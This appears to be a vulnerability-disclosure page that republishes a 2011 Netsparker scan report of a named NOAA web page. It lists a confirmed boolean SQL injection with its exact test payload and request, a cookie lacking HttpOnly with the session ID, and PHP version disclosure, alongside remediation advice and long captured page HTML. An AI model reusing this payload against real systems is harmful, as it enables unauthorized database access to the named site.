Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, Google Hacking Database, DORK Search

CWE-79 XSS Crawler - XSS Engine
CWE-89 SQLi Crawler - SQLi Engine
CWE-113 HTTPi Crawler - HTTPi Engine
CWE-23 LFI, RFI Crawler - LFI, RFI Engine

The DORK Report

Loading


XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Netsparker - Scan Report Summary
TARGET URL
http://response.restoration.noaa.gov/dwh.php?...
SCAN DATE
2/26/2011 7:55:02 AM
REPORT DATE
2/26/2011 7:55:53 AM
SCAN DURATION
00:00:24

Total Requests

Redacted

Average Speed

Redacted req/sec.
7
identified
3
confirmed
1
critical
3
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Boolean SQL Injection, SQL Injection
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
14 %
LOW
43 %
INFORMATION
43 %
Boolean Based SQL Injection

Boolean Based SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /dwh.php

/dwh.php CONFIRMED

http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10

Parameters

Parameter Type Value
entry_id GET -1 OR 17-7=10

Request

GET /dwh.php?entry_id=-1+OR+17-7%3d10 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=2a42e12b57ffd03c66d85413ed466c22
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:44:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 5378
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Coral Reefs: Spills and Other Threats | Protecting Coastal Resources | Pollutants in the Environment | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="keywords" content="oil spill response, coral, spills, ecosystem, planning, coral reefs, pollutants, fishing, developing, impacts, oil spills, global warming"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_pollution.jpg' alt='Pollutants in the Environment'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'>Emergency Response</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'><strong><font color='black'>Pollutants in the Environment</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Coral Reefs: Spills and Other Threats</span></p> <p> <!-- title / graphic / text block 1 --> <table class="no_overlap" width="525" border="0" cellspacing="0" align="left"> <tr> <td class="graphic_cell_padding" align="center" valign="middle"> <img src='/art_gallery/oilgaleta.jpg' alt='Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1996.' width='350' border='1'> </td> <td class="graphic_cell_padding" width="33%" align="center" valign="middle"> <span class="photo_caption">Oil slicks moving onto coral reefs at Galeta at low tide; Bahia las Minas refinery spill, Panama, April, 1986. <em>Photo: John Cubit.</em></span> </td> </tr> </table> </p> <p><span class="feature_title"></span></p> <p>Coral reefs are highly productive and diverse ecosystems that are not only beautiful, but are also very valuable economically and environmentally. Today, many coral reefs are suffering degradation from a variety of causes, including climate change, pollutants, overfishing, development, and physical disturbances. Coral habitats are also vulnerable to impacts from oil spills.
<P>Because these systems are fragile, we are especially careful to respond appropriately to spills or potential spills in these areas. By understanding how our actions can affect coral reef ecosystems, we can do a better job of protecting them from further harm.</p> <p> <!-- inline linkbox 1 --> <span class="feature_title">For More Information</span> <br> <ul> <li><a href='/topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=entry_id,subtopic_id,topic_id&entry_id(entry_subtopic_topic)=5&subtopic_id(entry_subtopic_topic)=8&topic_id(entry_subtopic_topic)=1' target="_self"><span class="link_title">Coral Reefs and Oil Spills: A Guided Tour</span></a> <span class="link_notes">Get a basic overview of coral ecology, learn what types of things can harm coral, and see how resp..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /dwh.php

/dwh.php CONFIRMED

http://response.restoration.noaa.gov/dwh.php?entry_id=812

Identified Cookie

PHPSESSID

Request

GET /dwh.php?entry_id=812 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:44:50 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: PHPSESSID=2a42e12b57ffd03c66d85413ed466c22; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8646
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Publications, Factsheets and One-Pagers | Recent and Historical Incidents | Emergency Response | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="robots" content="noindex,nofollow,noarchive"> <meta name="keywords" content="Deepwater Horizon oil rig fire, Deepwater Horizon oil well fire, MODU, Mississippi Canyon 252, Louisiana, Mississippi"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_emergency.jpg' alt='Emergency Response'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><strong><font color='black'>Emergency Response</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'>Pollutants in the Environment</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr><td colspan='2'><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='dwh.php?entry_id=809' target='_self'>Latest News</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=811' target='_self'>NOAA Roles</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=814' target='_self'>NOAA People</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=819' target='_self'>External Affairs</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=812' target='_self'><strong>Factsheets Publications</strong></a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=820' target='_self'>Press Releases</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=813' target='_self'>Multimedia</a></td></tr></table></td></tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <table class="sidebar_table" width="158" border="0" cellspacing="4" cellpadding="8"> <tr> <td> <span class="sidebar_titles">For more information</span><br> </td> </tr> <tr> <td class="sidebar_cell"> <a href='/deepwaterhorizon/informationresources' target="_self"><span class="link_title">Information Resources</span></a><br> <span class="link_notes">A collection of links to other web sites with Deepwater Horizon information.</span> <span class="link_info"></span> </td> </tr> </table> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Publications, Factsheets and One-Pagers</span></p> <p> <!-- title / graphic / text block 1 --> </p> <p><span class="feature_title"></span></p> <p>Download more detailed documents with background and technical information.
<P><ul><li><a href="#currentmaps">Cumulative Trajectory Maps</a><BR>
<li><a ..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /dwh.php

/dwh.php

http://response.restoration.noaa.gov/dwh.php?entry_id=812

Extracted Version

PHP/5.2.6-1+lenny9

Request

GET /dwh.php?entry_id=812 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:44:50 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: PHPSESSID=2a42e12b57ffd03c66d85413ed466c22; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8646
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Publications, Factsheets and One-Pagers | Recent and Historical Incidents | Emergency Response | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="robots" content="noindex,nofollow,noarchive"> <meta name="keywords" content="Deepwater Horizon oil rig fire, Deepwater Horizon oil well fire, MODU, Mississippi Canyon 252, Louisiana, Mississippi"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' 